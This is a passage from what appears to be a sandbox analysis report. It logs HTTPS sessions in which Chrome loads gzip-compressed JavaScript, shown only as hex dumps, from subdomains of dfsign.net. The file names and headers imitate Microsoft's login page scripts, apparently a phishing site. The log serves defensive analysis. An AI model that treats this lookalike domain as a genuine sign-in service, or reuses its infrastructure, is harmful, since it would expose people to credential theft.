2025-01-07 13:48:49 UTC	14460	IN	Data Raw: 2b a1 3d e1 4c 43 5e d4 7a c0 b1 45 35 25 4f aa 68 15 9e 1d 46 4d 57 70 e5 df fa 43 7f 97 aa 59 41 91 90 2e 0a 95 3d b5 2c 29 f7 dc db f2 75 14 1f 45 55 2c ee ae e4 f5 48 15 a1 8a 27 52 33 92 f4 e5 8a 19 a1 b0 f6 19 f7 66 a0 45 41 1e 1a 40 5d 17 78 97 90 cf 60 0b 58 5d b5 df a1 5d 7e 64 ea c4 43 fe c8 be d9 bc 6d 1c 1e ae 46 c6 65 2f 9c 4d be a9 a1 97 d2 40 93 da c6 d5 d5 7d 31 0b 3e 5a a6 e9 c6 fa 71 f0 1d aa a1 e0 16 28 38 03 1e fa 67 f8 ad d8 bc b8 c4 7b 33 75 91 61 86 5d aa 73 b7 4d 9e b6 13 2e ad c1 82 80 fd 24 9f cc 8a e7 47 00 52 47 2e 4c 87 43 e1 c2 bd 02 52 52 b8 37 14 e4 0f 50 fa 13 93 38 83 a2 27 48 78 cf dc 3d ff a6 51 f4 2c fa 46 7e 48 09 fe 37 7b 1b 77 cb 6c 42 d9 2a c0 e2 1e ee f6 c5 4d 10 2c db 7d 7e 09 d4 4b 16 7d eb 84 ec f2 db 0d c7 e2 Data Ascii: +=LC^zE5%OhFMWpCYA.=,)uEU,H'R3fEA@]x`X]]~dCmFe/M@}1>Zq(8g{3ua]sM.$GRG.LCRR7P8'Hx=Q,F~H7{wlB*M,}~K}
2025-01-07 13:48:49 UTC	16384	IN	Data Raw: 7d 40 b2 d4 34 73 5b 49 cd de 8a b4 0d c3 e2 ed b3 ad 19 65 74 fe 36 9c 94 1d a7 97 b2 d3 b1 ea 74 8a 4e d3 b5 ca 62 37 86 2b d4 2f 6b 0c 03 5c 03 2f e3 ce 80 3a 39 90 3d 74 33 ba 09 d4 04 a7 34 bb 83 1e 5b 1d 2c f4 d3 54 5e fb ed c9 7e 66 2c 7f 2d bb 2a de 6b 7b cb 00 5f 6b 31 49 90 bf e5 65 a5 66 d3 c5 66 4f 68 dc 71 94 f3 f4 25 2c 1b e4 d4 7a 1d 8f a6 ba 83 15 a3 df de 5c 95 a0 64 3d b0 a0 70 33 9f 23 89 a5 18 12 4c 6a 6a c6 f2 f3 82 15 ed 90 dd 0b 10 b2 db 15 3f 04 05 22 46 2a ba e2 c7 7d f6 3f 7f e6 eb 33 fa ff 07 c2 40 d3 06 01 31 04 f7 66 a8 ff 7b b0 fa 55 61 b2 c2 27 b2 76 73 72 98 1f 10 8c 8d 32 b0 96 5c 47 15 72 3c ff d7 e0 a2 7c f5 99 97 34 08 c7 91 4e 60 7d 18 30 bf 1c 5b 26 4f 09 71 6e 60 b8 0e db 5e 2d b4 e5 d8 00 b4 57 de 2e 7f 94 a0 4a 2b Data Ascii: }@4s[Iet6tNb7+/k\/:9=t34[,T^~f,-k{_k1IeffOhq%,z\d=p3#Ljj?"F}?3@1f{Ua'vsr2\Gr<\|4N`}0[&Oqn`^-W.J+
2025-01-07 13:48:49 UTC	14705	IN	Data Raw: 84 78 30 1c 47 b2 86 5e 62 3a e1 a3 0e df d3 84 75 e1 ff 65 98 e5 17 f7 ac c0 9b 08 97 14 ef 28 85 29 57 7a cb c6 74 ed ad 39 eb 05 eb 36 d0 21 dc 73 9d bd 69 71 fd 21 0f 05 eb f5 2c 1e dc 44 50 a3 ae 4d 45 5c 47 fa 62 30 8e 69 c5 37 a4 78 80 0a 57 12 cc 42 70 35 ea ec 8b e7 c3 a1 c8 a2 3b e4 26 7a a4 74 f9 c0 89 00 b2 82 ef b0 51 a4 1b cc 7c dd b8 25 02 2f ce a9 e0 37 32 f9 e3 e9 04 d7 cd 06 8a 39 be f5 c6 d9 18 cc 6f 67 e9 4d 94 c8 91 c9 17 71 82 de 7c 9b 6c c2 ad ca 8c a0 4b b5 e3 de 09 51 53 0e b9 98 f0 aa d1 27 c4 7a e2 03 e7 06 85 e6 74 07 29 e5 16 d9 34 a2 b9 76 06 e0 bd d2 f0 d9 94 cd 5e 7b 5a 86 b0 e4 6c 3f 7b d8 f8 42 a8 e4 06 81 c3 28 bc 75 e0 99 15 be 45 fc 53 20 66 f7 c2 fb 88 bf 87 97 37 84 73 7d 04 5e f2 1e 98 da 07 1c ac 73 3c 7d 12 3c bf Data Ascii: x0G^b:ue()Wzt96!siq!,DPME\Gb0i7xWBp5;&ztQ\|%/729ogMq\|lKQS'zt)4v^{Zl?{B(uES f7s}^s<}<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49741	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:49 UTC	633	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.dfsign.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:50 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:49 GMT Content-Type: application/x-javascript Content-Length: 4885 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 22 Oct 2020 20:43:21 GMT etag: 0x8D876CB1D67B929 x-ms-request-id: 3c62bfc4-801e-0007-32e5-5aaf35000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134849Z-15464c697c5nzg6lhC1FRAsbv80000000qz000000000ahz8 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:50 UTC	4885	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 5a 7b 73 db b6 96 ff 5f 9f 02 46 73 1d 32 a2 28 39 af b6 52 58 ad 1b 3b 5b df 6d e3 ac ed 4c 6f 57 52 32 b4 04 4a 4c 29 52 05 c1 d8 1e 4b df 7d 7f 07 00 45 52 56 da dc ee 6c 66 62 e1 79 70 de 0f 80 dd 27 07 ac f3 f5 ff d8 e5 d5 f1 c5 15 3b 7f c3 ae 7e 3a bb 38 61 ef d0 fb 8d bd 3d bf 3a 7b 7d fa f5 70 5a ad ab 45 9c b3 28 4e 04 c3 ef 75 98 8b 19 cb 52 96 49 16 a7 d3 4c ae 32 19 2a 91 b3 25 fe ca 38 4c 58 24 b3 25 53 0b c1 56 32 fb 24 a6 2a 67 49 9c 2b 6c ba 16 49 76 c3 1c 80 93 33 f6 2e 94 ea 8e 9d bd 73 7d 76 85 b5 99 8c e7 71 8a dd d3 6c 75 87 f6 42 b1 34 53 f1 54 b0 30 9d 69 68 09 3a 69 2e 58 91 ce 84 64 37 8b 78 ba 60 bf c4 53 99 e5 59 a4 98 14 53 11 7f c6 21 79 81 f1 e6 11 1e 0b a5 60 b9 50 2c ca a4 5a 18 3c 7c 76 49 Data Ascii: Z{s_Fs2(9RX;[mLoWR2JL)RK}ERVlfbyp';~:8a=:{}pZE(NuRIL2%8LX$%SV2$gI+lIv3.s}vqluB4ST0ih:i.Xd7x`SYS!y`P,Z<\|vI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49740	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:49 UTC	540	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js HTTP/1.1 Host: 03e75177-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:50 UTC	746	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:50 GMT Content-Type: application/x-javascript Content-Length: 122499 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 3906914 cache-control: public, max-age=31536000 etag: 0x8DD0A95DDC3438A last-modified: Fri, 22 Nov 2024 01:34:54 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c3db0742-201e-00cc-2382-3d3bf8000000 x-ms-version: 2009-09-19 content-encoding: gzip
2025-01-07 13:48:50 UTC	13688	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7d 5b e3 b8 92 38 fa ff fd 14 c1 e7 5c 26 19 4c da ce 7b cc 78 d8 74 80 6e 76 80 70 08 f4 cc 2e cd e1 71 6c 25 78 48 ec ac ed f0 72 42 f6 b3 ff aa 4a 92 2d 27 0e dd 3d bb cf bd cf 7d ee ec d9 26 96 4a 6f a5 52 a9 aa 54 2a 7d f8 79 e7 ff 2a fd 5c da ff fe ff 4a c3 eb de d5 75 69 70 52 ba fe 7c 7a 75 54 ba 84 af ff 28 5d 0c ae 4f fb c7 df 5f 0f 36 8a ff 7f fd e0 c7 a5 b1 3f 65 25 f8 3b 72 62 e6 95 c2 a0 14 46 25 3f 70 c3 68 1e 46 4e c2 e2 d2 0c fe 8d 7c 67 5a 1a 47 e1 ac 94 3c b0 d2 3c 0a ff 64 6e 12 97 a6 7e 9c 40 a1 11 9b 86 cf a5 32 54 17 79 a5 4b 27 4a 5e 4b a7 97 95 2a d4 cf a0 36 7f e2 07 50 da 0d e7 af f0 fb 21 29 05 61 e2 bb ac e4 04 1e d5 36 85 8f 20 66 a5 45 e0 b1 a8 f4 fc e0 bb 0f a5 73 df 8d c2 38 1c 27 a5 88 Data Ascii: }[8\&L{xtnvp.ql%xHrBJ-'=}&JoRT}y\JuipR\|zuT(]O_6?e%;rbF%?phFN\|gZG<<dn~@2TyK'J^K*6P!)a6 fEs8'
2025-01-07 13:48:50 UTC	16384	IN	Data Raw: 57 97 e6 ea 60 0e e4 69 2f 6b ab 03 4e 93 40 9c f5 d5 b2 b1 5a 36 57 9a ce d5 ef e3 6a 46 ae fa 54 5f 28 06 91 ff 71 fd 7e 51 fd 2b fd 39 f2 93 4d fe ad 3b 7a 28 0c 02 4b fe a4 5a 78 08 a8 45 a4 4c 6d e5 d4 07 1b 57 a6 e4 00 04 ce 29 7d c3 d2 36 f4 73 e8 50 75 e6 bc c0 cf a9 7c 69 be 56 e1 1c 6b 61 7b 7b 53 ce 02 a9 e4 71 95 7a 82 c6 71 ba 56 eb a8 dd 39 a4 79 b8 e4 eb 13 3b 5f e6 67 ef fa 42 74 52 8c 23 5f 7a 7d 54 72 4c 53 32 5b 73 de 5a 39 16 0a 0d c0 84 95 03 7a 97 3b 7b 92 d0 f6 81 7d 91 ec 2c e4 c6 8c 90 c5 28 f4 b9 ed 00 d1 48 8c 03 f1 21 8e c6 88 2e 39 37 da 5e 88 69 13 3b e2 e4 38 b3 93 1c 99 1d 2c ec 78 77 97 bf b1 01 b2 7a bc e6 02 a1 1d 48 c2 83 9a 62 eb 7d 8a 14 46 bb 51 9e 4e 04 65 98 2b 20 0e 4e 13 d0 45 7d a2 cf f5 19 d0 00 0a 1b 80 12 69 Data Ascii: W`i/kN@Z6WjFT_(q~Q+9M;z(KZxELmW)}6sPu\|iVka{{SqzqV9y;_gBtR#_z}TrLS2[sZ9z;{},(H!.97^i;8,xwzHb}FQNe+ NE}i
2025-01-07 13:48:50 UTC	16384	IN	Data Raw: 9f 30 07 c1 18 d7 8b 78 3d f7 ea 0b 83 2b 99 74 35 f0 5f a9 29 bf 9b 47 b9 af 7d af 65 15 76 6c 23 b6 63 9b 53 8c 3f c8 f8 21 ca 03 f4 ca f2 a7 a8 77 3c d0 52 ba e6 a3 87 3a 5e f2 ab 31 4f 5e 38 8e 2b 51 e8 ec 7b b7 e7 de 20 05 8c f7 d1 d2 db e5 e5 77 30 07 9f 9b 38 a2 ee 1b bf 60 35 70 cd 1e f9 d3 66 89 f8 25 46 c6 fe d9 fd 05 8a 40 8a 0d e3 20 ac 2d 08 84 10 21 7c c5 06 90 51 7b 48 29 70 2c ed b3 d4 c4 13 b6 05 56 c7 24 aa d0 46 05 82 1c d2 83 11 91 83 64 e2 07 23 b4 28 97 a0 1a a3 e6 1d ec 80 60 48 48 84 cf 87 48 70 f7 45 2f 36 d6 aa bd c8 ed 8d dd 6d 02 3c da 67 2c b0 03 a0 86 a4 8c c0 3e 8d dc b7 d5 66 3b 4f 46 fb 9c a7 8f 18 18 f0 a5 66 cc 0b d4 a4 37 cf 80 31 b5 b4 80 00 84 02 32 81 29 13 80 1e 18 97 ec 7d 9e 8f c9 cf af 2f d0 2b 3b 0a 47 97 21 e3 Data Ascii: 0x=+t5_)G}evl#cS?!w<R:^1O^8+Q{ w08`5pf%F@ -!\|Q{H)p,V$Fd#(`HHHpE/6m<g,>f;OFf712)}/+;G!
2025-01-07 13:48:50 UTC	16384	IN	Data Raw: 4d ab 81 ef a6 d3 09 0b 83 c4 90 99 19 59 26 cd af f8 b7 f1 7a 40 3b fd 88 b7 7d f8 29 ce 6f 31 14 d9 59 2a 87 f8 47 73 5c e0 5a 82 f9 b9 e3 f3 41 4c 82 99 83 8f 08 35 34 ef cc d6 8c a3 e8 f3 a9 32 7e e7 2c 3d b3 00 dc 6b d8 06 7e 79 6a 36 97 6e 87 e2 ed 89 f9 b6 ce fc 93 33 ee 1b f9 d4 81 59 94 74 6b 36 62 42 46 11 3c 2f 66 1d 79 3a 1c 8e a2 c3 f4 0e e7 e6 20 cb 0e 90 08 e6 9c 6f cc 59 36 98 4f ca f0 d6 cc 30 4d be 4c 82 71 79 38 06 35 c3 69 ec 89 33 73 2d 85 64 0d 68 ae a5 13 73 d4 71 c3 c2 dc 1f b0 95 b9 18 11 d5 16 6a 85 aa 5b 5e b9 9a 0a 0f 79 76 20 d5 17 bc a9 f1 05 26 cc 4a 94 fd 61 f0 30 29 4c 2a c5 89 ae ba a8 27 4a b3 a3 09 a0 84 73 6e 59 ab 98 a1 b8 98 f9 1b 95 19 65 c7 d5 c2 85 d8 9c bf 00 ea bb 70 04 d1 94 49 b1 56 a5 5b b4 03 c5 bd 2c 2b 19 Data Ascii: MY&z@;})o1YGs\ZAL542~,=k~yj6n3Ytk6bBF</fy: oY6O0MLqy85i3s-dhsqj[^yv &Ja0)L'JsnYepIV[,+
2025-01-07 13:48:50 UTC	16384	IN	Data Raw: b6 eb 6e a7 d7 44 2d d9 22 a7 6e 2a 07 26 b5 94 13 88 7c 3f f3 16 41 a3 a2 c8 16 4d b3 6a 21 28 fa 08 09 18 69 74 9a a4 70 4a 5d 09 f0 24 7b fa 34 53 04 54 8b 8b 10 0d 06 6e b6 54 b3 a8 d5 27 31 bb d0 fa d9 c3 43 c4 27 8e 7c 19 7a 06 69 2b cc 0a ba 20 ec b4 b5 fa bf 2c 3b c2 b7 a9 bb 01 8c 08 34 eb 14 2c 67 1e 7b c8 66 ee f4 cf 08 96 dd 15 75 54 a3 c0 db 19 0a e1 de f6 e8 81 27 e4 e3 e2 a9 4c a5 a6 53 09 82 d6 bf d6 73 c5 4f 42 22 a4 29 27 83 55 12 23 fc 93 a7 d1 1d d4 0f ab ec d2 67 df c5 82 81 2d 32 11 7d 4d fd 11 57 a4 25 97 cb 64 3c 8e d3 47 1c 58 54 43 ff 94 07 8b cd 16 75 db f6 2c 07 6c cb 42 cf 12 17 1b fa ad 54 d7 a9 df b4 a1 a5 55 ee 9d 95 14 95 97 c8 1f 08 80 1c 09 21 a6 43 55 f9 81 f1 d9 5a 83 88 e6 5e db 08 3a 62 d1 d3 7e b4 c7 d9 3c 1f c5 f6 Data Ascii: nD-"n*&\|?AMj!(itpJ]${4STnT'1C'\|zi+ ,;4,g{fuT'LSsOB")'U#g-2}MW%d<GXTCu,lBTU!CUZ^:b~<
2025-01-07 13:48:50 UTC	16384	IN	Data Raw: af ea e0 51 a1 2a a6 b5 6c 9b 6c 6e da e4 da f9 e4 40 b7 9a dc 97 97 dd ad e9 84 d6 df f6 f7 ff b6 bc 87 ee aa ff 70 ba f6 8e b4 5e 98 84 86 d7 64 43 1c 59 e7 74 bc e1 5f 93 07 9d 9b b5 cf 67 50 00 98 10 cd 21 f7 63 94 24 5b f7 7b 7a ab 72 4c 35 9f 4e ac c1 39 04 3a 6c a1 81 f5 ef d9 32 4b 62 bf 2f e4 68 78 7d 9a c5 85 f5 bf d6 d3 71 63 5e 8d ac ff 99 7c 4f 01 70 af 4f 8f cf 4f 5b f1 a4 d6 ff 4a 75 1b 08 16 4f 8c 74 00 92 be f9 14 fc e6 27 a5 31 5d a0 b5 e7 e3 fa 94 d2 f2 ce a1 ce 85 3b 1f 9a 02 74 83 29 ed 9a e1 cd 71 f5 44 45 26 29 fd 56 8f 87 72 1b 9f c9 7b 67 58 1b da 43 1e 0e ac c1 88 b2 7a 66 ab 19 70 32 18 82 e7 f8 ff a9 ca c4 4e f7 1e 8f 8e f8 b8 02 d0 3a 14 ac 9d ad b0 fb 68 92 37 74 a2 36 7e 60 17 43 be 12 64 3b aa b3 99 75 b3 16 fe 8b ee 1b a2 Data Ascii: Q*lln@p^dCYt_gP!c$[{zrL5N9:l2Kb/hx}qc^\|OpOO[JuOt'1];t)qDE&)Vr{gXCzfp2N:h7t6~`Cd;u
2025-01-07 13:48:50 UTC	16384	IN	Data Raw: c6 37 a8 cf 2a 49 c1 19 1c ff ee 89 b1 0e 08 96 6d 4d ef bb 67 3f 7c af 5e d7 be f5 7b 7a 33 12 44 00 c4 a4 20 61 f2 13 36 6f 4c bc 30 90 9d 52 3e 2b 57 be 14 f7 06 f5 8f c1 e1 00 f0 d5 bf 47 eb 1d e9 d0 e2 ba 27 25 c2 ea ad 4f 6a 5b 7f bc a7 83 aa a9 ad 35 de be ce 53 47 47 d9 5c b2 57 47 f5 f8 ee af 77 79 1f f0 94 f3 76 97 4d 07 a6 72 2d 2a 0f 67 eb a2 66 bd c7 65 6e e9 ee 72 6d 30 e0 d6 37 fd 94 08 3e 69 19 c4 83 1e 23 99 ae 71 e8 44 2c a9 5a 4f ea 23 a8 83 cd f6 d8 45 5d a4 bf 81 13 63 d8 ae d9 cb fd e5 1f b4 dd 9c a6 8e 4a 2b ba 7c ff 70 38 ea af 5c 88 6b e0 d4 2e 58 aa 87 5f 9d 6a af 29 e0 ff 5a d3 bc e3 ef 25 a7 5b 6f 3b b3 eb 27 6a 4d 3f ea 6b 43 79 7e 3f 32 ee d5 3a 94 35 93 2a 0d 2e e8 78 d7 e6 09 20 ed a7 9e f7 d5 26 e4 ec f5 35 90 b7 1d d4 7d Data Ascii: 7ImMg?\|^{z3D a6oL0R>+WG'%Oj[5SGG\WGwyvMr-gfenrm07>i#qD,ZO#E]cJ+\|p8\k.X_j)Z%[o;'jM?kCy~?2:5*.x &5}
2025-01-07 13:48:50 UTC	10507	IN	Data Raw: 91 05 d7 58 4e e4 a2 d2 81 9c b3 84 19 36 ff dc 8f 81 27 f9 d7 c5 64 a4 f9 b5 ce 8d 48 bf da b9 22 ff 5d ef 4d d6 9b 58 d6 2d a8 c9 18 58 8a ae 5a f2 43 a5 ec fd 57 5d 6d a5 6e dd 8b 23 d3 2f 7d b1 d4 7f 57 7f a3 a3 d1 9c 08 51 4b ee ce e2 bd f0 fe 7f df fc db 7b 34 f9 44 97 34 81 1f 33 7b 4e 82 8f eb e2 83 82 0c 59 c7 b5 e4 8f a5 4a ab ff ff f6 7a d6 af b3 7c 73 4e 13 66 c4 6d 88 68 30 0d 9b e2 a9 76 7a 4f e2 f8 73 23 09 d1 7c 86 ca 5f e3 0d 89 22 92 84 51 c3 8b c2 eb c6 3c 8c b1 06 8b d1 92 0f 7f 25 50 e2 1a 5a 12 87 df 79 bc 10 d9 ab b9 65 b0 12 2b 04 f5 62 2b 28 4b 6b a8 b6 70 2d 44 ca e0 af a1 c6 4c 74 3c 3b 9e cf fd 45 ec c7 d9 e5 b1 1c 12 49 0b f6 2e d3 1c 41 e8 26 a8 7b ec 96 6f e2 b7 da 9d 24 3c 4f 22 0c fe d3 ce 1d 52 67 b0 da e7 c0 78 2d 46 9c Data Ascii: XN6'dH"]MX-XZCW]mn#/}WQK{4D43{NYJz\|sNfmh0vzOs#\|_"Q<%PZye+b+(Kkp-DLt<;EI.A&{o$<O"Rgx-F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49742	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:50 UTC	522	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:51 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:51 GMT Content-Type: application/x-javascript Content-Length: 61127 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 25 May 2023 17:22:47 GMT etag: 0x8DB5D44A8CEE4F4 x-ms-request-id: 674ae7da-e01e-007b-4ae5-5af675000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134850Z-15464c697c5vctvchC1FRA2mfc0000000qsg00000000hszq x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:51 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c 60 9a 94 97 38 a4 11 5e 59 a2 6d 26 da a2 25 4e 46 d6 e8 40 60 4b 82 4d 02 0c 00 4a d6 48 fc ef 4f 55 f5 8e 85 92 92 dc f7 be 27 b1 08 34 aa f7 ea ea ea ea 5a dc 9b 38 19 a7 37 ed 82 4d d8 94 15 d9 ed d9 0d 3b 9f 85 d1 d7 9f f2 34 99 05 4b bf de df 9f 9c 7a ed d9 3c bf 72 4f 4e d6 4f fd 13 df f7 2f e6 49 54 c4 69 e2 32 bf f0 13 ef ce 99 e7 ac 95 17 59 1c 15 4e 3f 69 67 6e e1 f9 49 7b ec 16 be f3 6b 38 99 b3 9f a1 02 c7 77 55 36 ef 2e 63 c5 3c 4b 5a 59 9b 2d 3c 05 3b bc 66 49 b1 1d 16 2c 89 6e 1b c0 c3 32 f8 3e cb f2 38 c7 2c ac 21 cb b9 91 e5 28 0b 23 b6 cd ae d9 a4 01 78 6c 00 6f cc 66 a3 24 8f 2f af 8a 7c 33 cd ea 8b 8f ad 16 bd 0b 73 d6 08 6a 16 7d 36 fc 06 4d 1e b3 f1 28 Data Ascii: iwF0'W`8^Ym&%NF@`KMJHOU'4Z87M;4Kz<rONO/ITi2YN?ignI{k8wU6.c<KZY-<;fI,n2>8,!(#xlof$/\|3sj}6M(
2025-01-07 13:48:51 UTC	14460	IN	Data Raw: 01 93 cf 36 3a 93 2b a1 3d e1 4c 43 5e d4 7a c0 b1 45 35 25 4f aa 68 15 9e 1d 46 4d 57 70 e5 df fa 43 7f 97 aa 59 41 91 90 2e 0a 95 3d b5 2c 29 f7 dc db f2 75 14 1f 45 55 2c ee ae e4 f5 48 15 a1 8a 27 52 33 92 f4 e5 8a 19 a1 b0 f6 19 f7 66 a0 45 41 1e 1a 40 5d 17 78 97 90 cf 60 0b 58 5d b5 df a1 5d 7e 64 ea c4 43 fe c8 be d9 bc 6d 1c 1e ae 46 c6 65 2f 9c 4d be a9 a1 97 d2 40 93 da c6 d5 d5 7d 31 0b 3e 5a a6 e9 c6 fa 71 f0 1d aa a1 e0 16 28 38 03 1e fa 67 f8 ad d8 bc b8 c4 7b 33 75 91 61 86 5d aa 73 b7 4d 9e b6 13 2e ad c1 82 80 fd 24 9f cc 8a e7 47 00 52 47 2e 4c 87 43 e1 c2 bd 02 52 52 b8 37 14 e4 0f 50 fa 13 93 38 83 a2 27 48 78 cf dc 3d ff a6 51 f4 2c fa 46 7e 48 09 fe 37 7b 1b 77 cb 6c 42 d9 2a c0 e2 1e ee f6 c5 4d 10 2c db 7d 7e 09 d4 4b 16 7d eb 84 Data Ascii: 6:+=LC^zE5%OhFMWpCYA.=,)uEU,H'R3fEA@]x`X]]~dCmFe/M@}1>Zq(8g{3ua]sM.$GRG.LCRR7P8'Hx=Q,F~H7{wlB*M,}~K}
2025-01-07 13:48:51 UTC	16384	IN	Data Raw: 26 a5 02 26 a5 dc 7d 40 b2 d4 34 73 5b 49 cd de 8a b4 0d c3 e2 ed b3 ad 19 65 74 fe 36 9c 94 1d a7 97 b2 d3 b1 ea 74 8a 4e d3 b5 ca 62 37 86 2b d4 2f 6b 0c 03 5c 03 2f e3 ce 80 3a 39 90 3d 74 33 ba 09 d4 04 a7 34 bb 83 1e 5b 1d 2c f4 d3 54 5e fb ed c9 7e 66 2c 7f 2d bb 2a de 6b 7b cb 00 5f 6b 31 49 90 bf e5 65 a5 66 d3 c5 66 4f 68 dc 71 94 f3 f4 25 2c 1b e4 d4 7a 1d 8f a6 ba 83 15 a3 df de 5c 95 a0 64 3d b0 a0 70 33 9f 23 89 a5 18 12 4c 6a 6a c6 f2 f3 82 15 ed 90 dd 0b 10 b2 db 15 3f 04 05 22 46 2a ba e2 c7 7d f6 3f 7f e6 eb 33 fa ff 07 c2 40 d3 06 01 31 04 f7 66 a8 ff 7b b0 fa 55 61 b2 c2 27 b2 76 73 72 98 1f 10 8c 8d 32 b0 96 5c 47 15 72 3c ff d7 e0 a2 7c f5 99 97 34 08 c7 91 4e 60 7d 18 30 bf 1c 5b 26 4f 09 71 6e 60 b8 0e db 5e 2d b4 e5 d8 00 b4 57 de Data Ascii: &&}@4s[Iet6tNb7+/k\/:9=t34[,T^~f,-k{_k1IeffOhq%,z\d=p3#Ljj?"F}?3@1f{Ua'vsr2\Gr<\|4N`}0[&Oqn`^-W
2025-01-07 13:48:51 UTC	14711	IN	Data Raw: 71 3d 69 92 df 50 84 78 30 1c 47 b2 86 5e 62 3a e1 a3 0e df d3 84 75 e1 ff 65 98 e5 17 f7 ac c0 9b 08 97 14 ef 28 85 29 57 7a cb c6 74 ed ad 39 eb 05 eb 36 d0 21 dc 73 9d bd 69 71 fd 21 0f 05 eb f5 2c 1e dc 44 50 a3 ae 4d 45 5c 47 fa 62 30 8e 69 c5 37 a4 78 80 0a 57 12 cc 42 70 35 ea ec 8b e7 c3 a1 c8 a2 3b e4 26 7a a4 74 f9 c0 89 00 b2 82 ef b0 51 a4 1b cc 7c dd b8 25 02 2f ce a9 e0 37 32 f9 e3 e9 04 d7 cd 06 8a 39 be f5 c6 d9 18 cc 6f 67 e9 4d 94 c8 91 c9 17 71 82 de 7c 9b 6c c2 ad ca 8c a0 4b b5 e3 de 09 51 53 0e b9 98 f0 aa d1 27 c4 7a e2 03 e7 06 85 e6 74 07 29 e5 16 d9 34 a2 b9 76 06 e0 bd d2 f0 d9 94 cd 5e 7b 5a 86 b0 e4 6c 3f 7b d8 f8 42 a8 e4 06 81 c3 28 bc 75 e0 99 15 be 45 fc 53 20 66 f7 c2 fb 88 bf 87 97 37 84 73 7d 04 5e f2 1e 98 da 07 1c ac Data Ascii: q=iPx0G^b:ue()Wzt96!siq!,DPME\Gb0i7xWBp5;&ztQ\|%/729ogMq\|lKQS'zt)4v^{Zl?{B(uES f7s}^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49743	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
